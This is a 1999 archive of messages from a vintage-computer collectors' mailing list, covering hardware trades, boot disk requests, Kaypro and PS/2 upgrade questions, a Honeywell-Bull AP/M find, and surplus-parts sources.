convenient. - don ---------- Forwarded message ---------- Date: Sun, 31 Jan 1999 15:16:23 -0500 From: Rich Joyce To: donm@crash.cts.com Subject: Looking for boot disks for Gould K450 Logic Analyzer CPM/86, 5 1/4. I don't know if there are any special files required. got the Logic Analyzer with the dual disk system attached but no disks!. Any help is much appreciated!! Richard Joyce Altair Avionics 106 Access Rd Norwood MA 02062 Ph: 781 762 8600 Fx: 781 762 2287 From dlw at trailingedge.com Sun Jan 31 23:00:15 1999 From: dlw at trailingedge.com (David Williams) Date: Sun Feb 27 18:40:42 2005 Subject: Kaypro II and Kaypro 16 available Message-ID: <199902010500.XAA29477@trailingedge.com> I've been talking with a guy who has a Kaypro II and a Kaypro 16. I I already have a Kaypro II and I'm not interested enough in the 16. Anyone out there who might like these, he used them for several years and just wants to see them go to a good home. Hmm, maybe I need another storage space. Let me know if you're interested and I'll put you in touch with him. ----- David Williams - Computer Packrat dlw@trailingedge.com http://www.trailingedge.com From bwish at pcfa.org Sun Jan 31 23:02:45 1999 From: bwish at pcfa.org (Brett Wish) Date: Sun Feb 27 18:40:43 2005 Subject: CD-RW Drive In-Reply-To: <36B52AFF.3B004629@mindspring.com> Message-ID: One detail that you might need to check: does the CD-RW share the IDE channel with the CD-ROM? A lot of recorders will spit out bad CD's because of this. I've had two drives that either wouldn't record at the right speed or would bomb when writing the table of contents to the disc. Brett > Thanks everyone for the feedback, here is some more information: > I have 2 cdroms installed in my WIndows 98 computer. > An Acer CRW 6206A 2X write, 6X read (The one in question) > and a Goldstar 8X standard CDROM, Both IDE.. > I have tried several times to use the existing software, the problem seems in > the final phase of the burn, in which the software finalizes the CD-R disk > to be readable in any standard drive. Twice now it stopped short of finishing > and give the error message, "Error, this disk will not be readable in a standard > CD drive" > It burns the CD-R just fine but seems not to be able to convert it to a > usable format for standard CDdrives. > The software even asks the question "Do you want this disk to be able to be read > in standard CDROM drives" ? It does the final phase and then errors out.. Still > works in the CDRW drive but not in a normal drive.. > Also it does direct CDROM duplication and the same error happens, it duplicate the > CDROM disk but in the final phase it stops short of finishing it.. > Phil.... > > > From dlw at trailingedge.com Sun Jan 31 23:15:17 1999 From: dlw at trailingedge.com (David Williams) Date: Sun Feb 27 18:40:43 2005 Subject: Some finds and a few questions In-Reply-To: References: <199901310517.XAA25656@trailingedge.com> from "David Williams" at Jan 30, 99 11:17:02 pm Message-ID: <199902010515.XAA29550@trailingedge.com> On 31 Jan 99, at 21:12, Tony Duell wrote: > Aproximately how big is this thing? If it's about 3/8" square and say 3/4" > long, it sounds like a power resistor. Any marking on it? That's a very close match size wise. There aren't any markings on it at all. The legs don't look like they've been broken and can't see any sign of them having been soldered. Didn't pull the board completely out of the supply but looking at it I can't see any thing the looks like it is missing. > Take the PSU PCB out and look for pads on the PCB where something has been > soldered but come away. Dry joints on hot-running components are quite > common. I'll take it out and go over it carefully and see if I locate anything missing. > It could (I suppose) have been fixed to the solder side of the PCB. Don't think so, doesn't look like enough room for it on that side of the PCB given the casing. Maybe I'll try taking a picture of the piece and placing it on my web site for those here who can deal with the images. I seem to have good luck with that tactic when it comes to IDing something. ----- David Williams - Computer Packrat dlw@trailingedge.com http://www.trailingedge.com From donm at cts.com Sun Jan 31 23:15:34 1999 From: donm at cts.com (Don Maslin) Date: Sun Feb 27 18:40:43 2005 Subject: new toy! In-Reply-To: <199901311833.AA17874@world.std.com> Message-ID: On Sun, 31 Jan 1999, Allison J Parent wrote: > > > Incorrect. I erred in not defining my thought more completely. What I had in mind when I mentioned IDE was the 8-bit IDE that was used early on in XT class machines with drives like the ST-351A/X and others. > IDE is the buslevel equivelent of the ISA16 card WD1003WA. The register > format, addresses of the registers are identical, the interface is also the > same save for there are only three addres bits and two selects(like chip > select) where the board would take a full 10 bit address and decode it. > > The 1002 HOST interface has a different address, register command structure > though there are similarities wbeing both from WD. How do the above relate to the 8-bit IDE interface? > To do a IDE on kaypro you would need to do the 8<->16 bit translation > and from what I have here there is not enough addresses brought out to the > host adaptor plug. That means a CPU piggyback adaptor (GIDE is one case). > SCSI would be easier as a cpu interface but the SCSI bios is a nightmare > for the 5380 type chips. > > In any case adding a hard disk to kaypro requires utility software, an > interface and BIOS. But if you have the TurboROM, you already have all of that with the exception of the interface. How big a chore would it be to adapt the WD1002/Host interface to the 8-bit IDE? If one could do that with minimum difficulty, it could provide an easy 40mb of HD storage - a huge amount on a CP/M machine. > Going the turborom route and putting two to three 3.5" disks is easier. > With 3.5" drives there is auto write portect on power down so you dont need > to eject the disks and with the that would be 2.3mb of available storage > plus the 360kb drive for compatability. I have one setup in such a mannor > with an old IBM PS/2 drive inside the case (I treat it as 781k hard drive) > and two drives on the front (3.5" and 5.25" 360k). For what I use the > kaypro for that's plenty of on line storage. > To do 1.44mb would require far more effort due to data rate and the fact > that DMA is not available so it would be hardware mods for floppy controller > and also big time bios mods. Agreed! - don > Allison > From dlw at trailingedge.com Sun Jan 31 23:26:23 1999 From: dlw at trailingedge.com (David Williams) Date: Sun Feb 27 18:40:43 2005 Subject: Some finds and a few questions In-Reply-To: References: <199901311734.LAA27487@trailingedge.com> Message-ID: <199902010526.XAA29593@trailingedge.com> On 31 Jan 99, at 10:14, Sam Ismail wrote: > Oh yeah, I think I remember you posting about the card trying to identify > it. As far as drivers, everything you need is on the card and the hard > drive. Remember, with the Apple ][, the "driver" software is embedded on > a PROM or EPROM on the card itself which maps directly into a memory space > dedicated to the slot the card is plugged in to. Yes, I meant the install and other utils when I said "drivers". > You should be able to just plug the card in (I suggest slot 7) and connect > the hard drive to the card. Did you get the ribbon cable that connects to > the end of the card and terminates with a DE-37 enclosed in a big metal > bracket? Did you also get the thick black cable that connects from this > DE-37 to the back of the hard drive? Finally, did you get the terminator > that plugs into the other connector on the hard drive? (You are able to > daisy-chain multiple hard drives together. I think the limit is 2 but > don't hold me to that). I have the cable from the card to the DE-37. Don't have a cable from the DE-37 to the back of the drive but that shouldn't be too much of a problem. The terminator might be a bit more troublesome but I'm sure I can locate or fashion something. > The hard drive controller loads the first sector off the hard disk, which > is the boot sector. That then loads the rest of the OS and then boots the > OS. As far as I know, the initial boot is always into DOS 3.3. Then > there is a First Class Peripherals menu that allows you to boot into other > partitions (you could partition it for ProDOS, CP/M, and Pascal). I have > all the formatting and installation software if you need it. But if it > boots into anything then you're set. Were the partition and install utils normally copied to the drive as part of the install? I may want to repartition it depending on what I find assuming it works at all. > That explains it. I've been to pawn shops before where their prices were > higher than retail!! It makes me want to strangle the owner just out of > disgust. That's why I don't go to pawn shops very often but I have found that most times I can make them an offer and they will take it. Especially with the older items since many have been sitting around the shop forever and they want to get rid of them. > Well, don't get your hopes up about the games. They suck for the most > part. What, you mean I can't play Baldur's Gate, Civ 2 Multiplayer, Populous or SimCity 3000 on them? Damn, what good are they? > I've had situations where the seller just wasn't receiving my e-mails. > Give them one more chance and look up their number. If they were being > asses about it, at least by confronting them on the telephone they will be > more likely to tell you what happened as opposed to just hanging up on > you. Well, every other time I've posting to the list that the deal was a no- go, they contacted me and we moved a little closer. Maybe it will happen again. Then again, I'd hate to give up totally so maybe I'll make one last try. ----- David Williams - Computer Packrat dlw@trailingedge.com http://www.trailingedge.com From dlw at trailingedge.com Sun Jan 31 23:32:08 1999 From: dlw at trailingedge.com (David Williams) Date: Sun Feb 27 18:40:43 2005 Subject: OT: PC parts available Message-ID: <199902010532.XAA29617@trailingedge.com> The guy below seems to have a bunch of old PC parts he was going to dump. They're not "classic" in mine or the list's terms but I know some of you here might be able to use them and he was just going to throw them away. Told him I'd pass his email along. You can get in touch with him at the address in the email below. ------- Forwarded Message Follows ------- Date sent: Sun, 31 Jan 1999 19:30:38 -0500 From: Timothy Shandonay Subject: parts I didn't read your web page very carefully....so I'm not sure if you purchase computer parts. I have many motherboards, I/O cards, video cards, memory, etc that I am looking to get rid of. Let me know if you are interested. ----- David Williams - Computer Packrat dlw@trailingedge.com http://www.trailingedge.com From roblwill at usaor.net Thu Jan 7 19:30:33 1999 From: roblwill at usaor.net (Jason Willgruber) Date: Sun Feb 27 18:40:46 2005 Subject: Boot Disk Needed Message-ID: <01be3aa6$7c818e00$8b9ba6d1@the-general> Hi! Does anyone have a boot disk for an NEC APC III? I found that my error when I try to boot is because of the "Stoned" Virus. One other question: Is there any way to replace the 720k 5.25" (That's what I was told it had) with either a 360k floppy, or a 720k 3.5" drive? ThAnX, -- -Jason Willgruber (roblwill@usaor.net) ICQ#: 1730318 From roblwill at usaor.net Sat Jan 2 14:22:47 1999 From: roblwill at usaor.net (Jason Willgruber) Date: Sun Feb 27 18:40:47 2005 Subject: Sickening Documentation Message-ID: <01be368d$a97bbce0$869ba6d1@the-general> Or maybe just "CUS". -----Original Message----- From: Aaron Christopher Finney To: Discussion re-collecting of classic computers Date: Friday, April 02, 1999 9:20 AM Subject: Re: Sickening Documentation > > >On Fri, 2 Apr 1999, Ward D. Griffiths III wrote: > >> Well "CompaqUS" is just _too_ ugly. > >I dunno..."COMPUS" has such a nice ring to it... > > From roblwill at usaor.net Fri Jan 8 17:43:45 1999 From: roblwill at usaor.net (Jason Willgruber) Date: Sun Feb 27 18:40:47 2005 Subject: potholes Message-ID: <01be3b60$bade90c0$a28ea6d1@the-general> I think there's a few in PA that could take at least a mainframe. Maybe two... -----Original Message----- From: Charles E. Fox To: Discussion re-collecting of classic computers Date: Thursday, April 08, 1999 2:17 AM Subject: potholes > > Did anyone catch the bit on ABC news last night about the use of old >computers to fill potholes? > I think some of our Windsor potholes would require at least a mini. > > Regards > > Charlie Fox > > > Charles E. Fox > Chas E. Fox Video Productions > 793 Argyle Rd. Windsor N8Y 3J8 Ont. Canada > email foxvideo@wincom.net Homepage http://www.wincom.net/foxvideo > > From roblwill at usaor.net Wed Jan 27 00:15:09 1999 From: roblwill at usaor.net (Jason Willgruber) Date: Sun Feb 27 18:40:47 2005 Subject: PC question Message-ID: <01be49bc$647326a0$9c8ea6d1@the-general> To tell the truth, I can't think of ANY IBM that had a factory reset switch. My L40sx laptop has a place on the mother board for one, but no actual external switch. -- -Jason Willgruber (roblwill@usaor.net) ICQ#: 1730318 -----Original Message----- From: Max Eskin To: Discussion re-collecting of classic computers Date: Monday, April 26, 1999 5:07 PM Subject: Re: PC question >On Mon, 26 Apr 1999, Fred Cisin (XenoSoft) wrote: >>NO!!!!! >>Any responsible computer manufacturer of the time included a reset switch. >>But we are talking about IBM. >>THERE WAS NO RESET SWITCH ON A REAL UNMODIFIED IBM AT. > >Well, the C-64 had no reset switch...or are we talking only about business >systems? My DECMate III has no reset switch. > >--Max Eskin (max82@surfree.com) > http://scivault.hypermart.net: Ignorance is Impotence - Knowledge is Power > > From roblwill at usaor.net Sat Jan 2 19:10:18 1999 From: roblwill at usaor.net (Jason Willgruber) Date: Sun Feb 27 18:40:47 2005 Subject: FA: Amdek Color Monitor. Message-ID: <01be36b5$d40c29e0$948ea6d1@the-general> I have an old Amdek color composite monitor with a built-in speaker/amp. I no longer have any use for it, and it's currently just taking up space. I will take ANY offer + shipping for it. -- -Jason Willgruber (roblwill@usaor.net) ICQ#: 1730318 PS>> It works good, it's just a bit dusty. From gareth.knight2 at which.net Sat Jan 2 18:50:12 1999 From: gareth.knight2 at which.net (Gareth Knight) Date: Sun Feb 27 18:40:47 2005 Subject: 80s video game commercials Message-ID: <000001be3768$b6d52120$555bfea9@gaz> John Foust > is a repository of video clips >of television commercials, including a category of "Classic videogames" >from the 80s, including Atari, Coleco, Mattel and other computers. >Frames-capable browser and Real player required. www.atari-history.com also has a few adverts. The files are saved as AVI and are quite small but are lacking in the quality department. -- Gareth Knight Amiga Interactive Guide | ICQ No. 24185856 http://welcome.to/aig | "Shine on your star" From roblwill at usaor.net Mon Jan 18 19:51:20 1999 From: roblwill at usaor.net (Jason (the General)) Date: Sun Feb 27 18:40:47 2005 Subject: Honeywell Bull Message-ID: <01be434e$362420c0$LocalHost@THEGENERAL> Maybe that's the mainframe that goes with a computer that I found! Doubt it, though. I just got a Honeywell Bull AP/M from a flea market for $1. Anyone have any info on this thing? From what I can tell, it's a 286-10, AT compatible, and has a 20MB HD ST-225 behind a translucent plate (sort of like an AT&T 6300, but gray) under the 1.2MB floppy. It also has a spot of a "full-height" 3.5" floppy (as high as a half-height 5" floppy). ThAnX, ///--->>> -Jason Willgruber (roblwill@usaor.net) ICQ#: 1730318 -----Original Message----- From: Tom Owad To: Discussion re-collecting of classic computers Date: Tuesday, May 18, 1999 1:04 PM Subject: Honeywell Bull >I have an opportunity to acquire a Honeywell Bull mainframe, free of >charge. I don't have many details on it, but I'm told the computer is >about 4x3x2 feet and supported 30 terminals. Any opinions on whether or >not this is a computer worth saving, and if it is worth the space it will >take up? > >Thanks. > >Tom Owad > From roblwill at usaor.net Mon Jan 18 20:32:12 1999 From: roblwill at usaor.net (Jason (the General)) Date: Sun Feb 27 18:40:47 2005 Subject: Honeywell Bull Message-ID: <01be4353$ebb4e500$LocalHost@THEGENERAL> I mentioned that it was a 286-10 -- that's what QAPlus says. No where on the board can I find a 286 processor. It has an ISA bus, and runs a OEM'd version of DOS 3.3. It also has a software-driven Turbo setting. ///--->>> -Jason Willgruber (roblwill@usaor.net) ICQ#: 1730318 -----Original Message----- From: Jason (the General) To: Discussion re-collecting of classic computers Date: Tuesday, May 18, 1999 2:41 PM Subject: Re: Honeywell Bull >Maybe that's the mainframe that goes with a computer that I found! >Doubt it, though. > >I just got a Honeywell Bull AP/M from a flea market for $1. > >Anyone have any info on this thing? From what I can tell, it's a 286-10, AT >compatible, and has a 20MB HD ST-225 behind a translucent plate (sort of >like an AT&T 6300, but gray) under the 1.2MB floppy. It also has a spot of >a "full-height" 3.5" floppy (as high as a half-height 5" floppy). > >ThAnX, > >///--->>> > -Jason Willgruber > (roblwill@usaor.net) > ICQ#: 1730318 > > >-----Original Message----- >From: Tom Owad >To: Discussion re-collecting of classic computers > >Date: Tuesday, May 18, 1999 1:04 PM >Subject: Honeywell Bull > > >>I have an opportunity to acquire a Honeywell Bull mainframe, free of >>charge. I don't have many details on it, but I'm told the computer is >>about 4x3x2 feet and supported 30 terminals. Any opinions on whether or >>not this is a computer worth saving, and if it is worth the space it will >>take up? >> >>Thanks. >> >>Tom Owad >> > > From roblwill at usaor.net Mon Jan 18 21:18:36 1999 From: roblwill at usaor.net (Jason (the General)) Date: Sun Feb 27 18:40:47 2005 Subject: Honeywell Bull Message-ID: <01be435a$67012b00$869ba6d1@the-general> -----Original Message----- From: Jay West To: Discussion re-collecting of classic computers Date: Tuesday, May 18, 1999 3:12 PM Subject: Re: Honeywell Bull >Again, I don't have Honeywell knowledge, but didn't they create a division >called Honeywell Bull Information Systems, and rebadged multiple systems >under that name? > >My only knowledge of this comes from my General Automation days. When their >Motorola based line was loosing market share to the Unix crowd, they >introduced a server called a Honeywell Bull (blue/green nameplate I think)? Navy blue background, white "Bull", and a green tree, sort of like the one on the newer Zenith Data Systems logo? >That system I know for sure was an RS6000. Perhaps HBIS rebadged more than >just the RS6000. Sounds like it anywho... > The AP-M sort of looks like a souped-up NEC APC III (a bit bigger, but same basic case design). ///--->>> -Jason Willgruber (roblwill@usaor.net) ICQ#: 1730318 From roblwill at usaor.net Wed Jan 6 02:28:04 1999 From: roblwill at usaor.net (Jason (the General)) Date: Sun Feb 27 18:40:47 2005 Subject: IBM PS/2 P70-386 SIMM needed...+ a couple other things... Message-ID: <01be394e$7b204fa0$LocalHost@THEGENERAL> Hi! I need a 2MB SIMM for an IBM PS/2 P70-386. I know they go in in sets of two's, but for some reason, I have a spare SIMM that I found. Does anyone know where I could find one for a reasonable price (under $10)? I also need a display hinge (right side) for the P70. The one is broken. It still works, but sometimes gets annoying when I try to fold it up (that's also the side with the latch). ****this one's off-topic**** Does anyone know where to find a replacement head assembly for a Mitsubishi MF355H-394MW 1.44" floppy drive? It's from a Compaq 5000 series laptop, and some how the lower head seems to have disappeared. Everything's there (wire coils, head mount etc.). I think the glue that held the pick-up (is that the right name?) came loose. ThAnX, ///--->>> -Jason Willgruber (roblwill@usaor.net) ICQ#: 1730318 From roblwill at usaor.net Wed Jan 13 16:41:12 1999 From: roblwill at usaor.net (Jason (the General)) Date: Sun Feb 27 18:40:47 2005 Subject: IBM PS/2 P70-386 SIMM needed...+ a couple other things... Message-ID: <01be3f45$d27f3d40$2d9ba6d1@the-general> Nope. No free slot. The long slot has an IBM 3363 controller in it, and the other slot won't accept a long cart, because it hits the cooling fan. Anyone know what the short slot's for? Yes, I do have the reverence disk. The P70 has 4 SIMM slots. ///--->>> -Jason Willgruber (roblwill@usaor.net) ICQ#: 1730318 -----Original Message----- From: Lawrence LeMay To: Discussion re-collecting of classic computers Date: Tuesday, August 10, 1999 11:33 AM Subject: Re: IBM PS/2 P70-386 SIMM needed...+ a couple other things... >> On 7 Aug 99 at 18:48, Olminkhof wrote: >> >> > >> > >> > >Basically what I meant is banks of two. There's two SIMMS in a bank, with >> > 2 >> > >banks, totaling 4 SIMMS. >> > > >> > >If you install three 2 MB SIMMS, instead of getting a 6 MB memory reading, >> > >you'll get a 4 MB reading and a memory error. >> > > >> > >> > >> > Nope. >> > >> > You'll get a memory error until you run the reference disk. If you have an >> > error while running the reference disk then you have the wrong type of >> > simms. >> > >> > It's not until you get to Pentiums that you need 72pin simms in pairs. >> > >> > >> > >///--->>> >> > > -Jason Willgruber >> > >> >> > >>I've never heard of this "sets of 2" stuff on these. >> > >>They use the same simms as the desktop model 70 . . ie with presence >> > >>detect circuitry. >> > >> >> > >>Hans >> > >> >> >> TMK most IBMs (as well as Ataris, Macs and NEXT) require matching simms in >> pairs, and as well presence detect in the case of MCA. There is a hardware hack >> to get around the P.D. on Peter Wendts site. While I have never tried to add a >> single simm physically except to expand the onboard memory of my 8580 to 4m >> from 2 , IIRC all the docs mention this. I would certainly be delighted if >> this were not so. I have an IBM 486 Ambra (non-MCA) which also requires memory >> in pairs but doesn't require PD and a single spare non-IBM 8meg which sits >> unused because of this limitation. I have an 8570 A-21 desktop (25mhz and 387 >> co-processor) and other PS2s. There is also a 16 meg max limitation on most of >> the PS2s altho there are workarounds for this I understand. >> >> ciao larry >> lwalker@interlog.com >> > >I thought that at least one of the PS/2 model 70 motherboard versions came >with 3 simm slots... I dont recall it needing simms in pairs on the >motherboard, though it does use a non-standard, PS/2 style presence >detect. > >Does the original poster have a free MCA slot for a ram expansion board? >I have one for a PS/2 model 70, that I assume would work in your system, >assuming you have the reference diskette for your machine. > >-Lawrence LeMay > From roblwill at usaor.net Wed Jan 20 02:15:27 1999 From: roblwill at usaor.net (Jason (the General)) Date: Sun Feb 27 18:40:47 2005 Subject: Interesting find -> Honeywell-Bull AP/M Message-ID: <01be444d$099ce3c0$f19ba6d1@the-general> Does anyone have any sort of info on this thing? I just picked one up at a garage sale for $1. The guy I bought it from had no info about it. He said it was in the basement of his house when he bought the house... The case is about 6" high by 15" wide. It has a 1.2 MB 5.25" floppy and a ST-225 HD in it. It has a 286-10 CPU in it, but when "turbo" (it's software controlled - "boost.exe" makes the computer beep then lights a green LED on the front)is on, it clocks at 13.5 MHz (QADiagnostics). There is a 3.5" bay that's the same height as a 5.25" floppy (anyone have a drive that'll fit in here?), and the three LED's (green, red, green - power, HD, turbo) aren't labeled. The cover over the HD bay is odd, too. It's frosted. Whenever the computer's on, the green HD light can be seen through it, sort of like the old Olivetti had. The cards that it has are a standard MFM controller (although in a non-standard place - it's set back About 1" from the back of the case, and about 1" to the right of the card cage, and the ''tail" on the card's mounting bracket goes through a hole in the motherboard)/ There's also a standard CGA/composite video card, and an ARCnet LANcard. It has a BNC coax connector on it. As my luck would have it, though the "arcnet" directory was empty. All the directories were empty but the DOS directory, and they all appear to have hidden files, because I can't remove them. The case is also made from a surprisingly heavy gauge of steel. All the metal is about 1/32" thick, and it weighs about as much as a 5170 AT. Anyone have any info on this? what it was mainly used for? Maybe a keyboard to match? :) ThAnX, ///--->>> -Jason Willgruber (roblwill@usaor.net) ICQ#: 1730318 From roblwill at usaor.net Wed Jan 20 02:56:53 1999 From: roblwill at usaor.net (Jason (the General)) Date: Sun Feb 27 18:40:47 2005 Subject: Interesting find -> Honeywell-Bull AP/M Message-ID: <01be4452$d35f5580$508ea6d1@the-general> Where would I get a copy of Norton? (one of the many useful utilities I don't have) There's no Undelete. It has some Bull-ized version of DOS 3.2. ///--->>> -Jason Willgruber (roblwill@usaor.net) ICQ#: 1730318 > >Why don't you use UNDELETE or Norton and see if you can recover some files >in the ARCNET directory and/or others. If UNDELETE is not in the DOS >directory, I'd bring Norton to it on a floppy rather than write it to the >disk. > > - don From adavie at mad.scientist.com Sun Jan 31 07:51:16 1999 From: adavie at mad.scientist.com (Andrew Davie) Date: Sun Feb 27 18:40:47 2005 Subject: Sighting: SUN SParc-1 and Sparc-II systems In-Reply-To: Message-ID: <000501be4d20$c5f96260$72f438cb@a.davie> SParc 1 - CAN$225 SParc II - CAN$925 I am neither selling, nor associated with those who are. I thought somebody on the list might be interested in the above. Please contact me privately if so, and I will pass on further data. I know next to nothing about SparcStations - especially how to correctly capitalise their names, so am unsure if the above is a bargain or a ripoff :) A -- adavie@mad.scientist.com visit the Museum of Soviet Calculators at http://www.comcen.com.au/~adavie/slide/calculator/soviet.html a Yahoo!, Netscape, Wall Street Journal, Newsweek and New Scientist Cool Site!? ? From adavie at mad.scientist.com Sun Jan 31 08:03:08 1999 From: adavie at mad.scientist.com (Andrew Davie) Date: Sun Feb 27 18:40:47 2005 Subject: Time to share a source - W.J.Ford Surplus In-Reply-To: Message-ID: <000601be4d22$6e4b2d80$72f438cb@a.davie> I decided for the good of mankind to share one of my "secret" sources. These guys have a pretty amazing inventory - including thousands of manuals (for rent, even!). I just had a peek and they've got PDP 8 manuals and lots lots more. A quick scan showed lots of computer thingies, and this is where the Sun stuff I just wrote about comes from, too. I expect those building/repairing old computers will find things here - they have lots of valves, relays, delay lines, etc. etc. I've bought things from them before, and can vouch for their honesty. So, without further ado... http://www.falls.igs.net/~testequipment/index.html Do you guys/gals have any idea how hard it is to share a (almost sacred) hunting ground? Drop me a private note if you find something there - that's my claimed spotters fee :) A -- adavie@mad.scientist.com visit the Museum of Soviet Calculators at http://www.comcen.com.au/~adavie/slide/calculator/soviet.html a Yahoo!, Netscape, Wall Street Journal, Newsweek and New Scientist Cool Site!? ? From adavie at mad.scientist.com Sun Jan 31 15:06:41 1999 From: adavie at mad.scientist.com (Andrew Davie) Date: Sun Feb 27 18:40:47 2005 Subject: Russian Computer Museum In-Reply-To: Message-ID: <000501be4d5d$99377b80$20f438cb@a.davie> Re: translation Well, I'm self-taught since starting my Museum - and can read most technical terms and understand what many documents are about. I may be a bit slow, but I get there. The good thing about Russian is that many words (computer, program, fluorescent, etc) are pronunced pretty much the same, and once you know the sound of the letters you're halfway to reading Russian. It's the odd words that get me, and for that my Russian/English dictionary does fine. I can also recommend a program "ParsWin" which does translations both ways. A -- adavie@mad.scientist.com visit the Museum of Soviet Calculators at http://www.comcen.com.au/~adavie/slide/calculator/soviet.html a Yahoo!, Netscape, Wall Street Journal, Newsweek and New Scientist Cool Site!? ? > -----Original Message----- > From: CLASSICCMP-owner@u.washington.edu > [mailto:CLASSICCMP-owner@u.washington.edu]On Behalf Of Max Eskin > Sent: Sunday, January 31, 1999 2:55 AM > To: Discussion re-collecting of classic computers > Subject: Re: Russian Computer Museum > > > > > I hope you can read Russian. > > Speaking of which, how many people on this list know how to read > Russian? Hans, can you? > From adavie at mad.scientist.com Sun Jan 31 15:08:22 1999 From: adavie at mad.scientist.com (Andrew Davie) Date: Sun Feb 27 18:40:47 2005 Subject: Time to share a source - W.J.Ford Surplus In-Reply-To: Message-ID: <000601be4d5d$d5e1e0c0$20f438cb@a.davie> Ah, but Doug you probably know every hunting ground on the planet. I doubt anyone could post a source without stepping on your feet. I should have thought about that, though. I thought I'd be the only one to know of them, actually. So, 'pologies. A -- adavie@mad.scientist.com visit the Museum of Soviet Calculators at http://www.comcen.com.au/~adavie/slide/calculator/soviet.html a Yahoo!, Netscape, Wall Street Journal, Newsweek and New Scientist Cool Site!? ? > -----Original Message----- > From: CLASSICCMP-owner@u.washington.edu > [mailto:CLASSICCMP-owner@u.washington.edu]On Behalf Of Doug > Sent: Monday, February 01, 1999 4:54 AM > To: Discussion re-collecting of classic computers > Subject: Re: Time to share a source - W.J.Ford Surplus > > > On Mon, 1 Feb 1999, Andrew Davie wrote: > > > Do you guys/gals have any idea how hard it is to share a (almost sacred) > > hunting ground? > > Do you know how hard it is when somebody else decides to share your sacred > hunting ground? Ford is good for HP stuff, among others.... > > -- Doug > > From svs at ropnet.ru Sun Jan 31 16:58:01 1999 From: svs at ropnet.ru (Sergey Svishchev) Date: Sun Feb 27 18:40:47 2005 Subject: "System Software for Soviet Computers" and more... In-Reply-To: <19990130201221.22210@firepower>; from Sergey Svishchev on Sat, Jan 30, 1999 at 08:12:21PM +0300 References: <19990130201221.22210@firepower> Message-ID: <19990201015801.17028@firepower> On Sat, Jan 30, 1999 at 08:12:21PM +0300, Sergey Svishchev wrote: > Chip in the Curtain - Computer Technology in the Soviet Union (1989) > Parallel Processing Research in the Former Soviet Union. (1992) D'oh! These URLs are temporary -- they were generated by search for "soviet" "computers" at A story about Hobbit, one of many ZX Spectrum clones. Overview of different ZX Spectrum clones. (in Russian) Yet Another Story of Tetris. -- Sergey Svishchev -- svs{at}ropnet{dot}ru From bogus@does.not.exist.com Wed Jan 6 21:25:51 1999 From: bogus@does.not.exist.com () Date: Sun Feb 27 18:53:52 2005 Subject: Message formats In-Reply-To: <4.1.19990106165949.009afd70@mailhost.hq.freegate.com> from "Chuck McManis" at Jan 6, 99 05:10:57 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 9635 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990106/ce394d3a/attachment.ksh From bogus@does.not.exist.com Wed Jan 6 21:25:51 1999 From: bogus@does.not.exist.com () Date: Sun Feb 27 18:54:48 2005 Subject: Message formats In-Reply-To: <4.1.19990106165949.009afd70@mailhost.hq.freegate.com> from "Chuck McManis" at Jan 6, 99 05:10:57 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 9635 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990106/a11e838c/attachment.ksh From wolf at nwinfo.net Sun Jan 24 11:05:47 1999 From: wolf at nwinfo.net (Gary) Date: Sun Feb 27 19:04:47 2005 Subject: Equipment needs home: Portland, OR. area Message-ID: <000601be47bb$cc4234e0$159ebbd8@wolf> hey do you have any ideas about using relays or some thing connected to a parallel or aerial port to control the power to an outlet, you know like a dimmer switch controlling motors ETC if you have any thought or ideas I'd be glad to hear them. -------------- next part -------------- An HTML attachment was scrubbed... URL: http://www.classiccmp.org/pipermail/cctalk/attachments/19990124/78bc5ebe/attachment.html From KenzieM at sympatico.ca Sat Jan 16 19:21:32 1999 From: KenzieM at sympatico.ca (Mike Kenzie) Date: Sun Feb 27 19:07:15 2005 Subject: recent additions Message-ID: <000501c12231$c6725c90$0101a8c0@sympatico.ca> I recently filled the car with these: Apollo DOMAIN Series 3500 Domain series 3000 model 3010 HP/Apollo series 400 (2) Sun 3/60 + tape drive and tapes Sun 3/50 Apple lisa 2 (2) apple II Ci Mac SE/30 with radius monitor Mac color classic Quadra 610 Quadra 800 Quadra 860 power mac 7200/90 Also available was a volker Craig terminal, and a copy apple's unix I also have "quite a pile of HP 712/715/725s in various condition" for me to pick up when I get some space cleared. IKEA has said that the missing piece to complete the shelving will be delayed another 3 weeks, and my wife says no more machines until the shelves are up!
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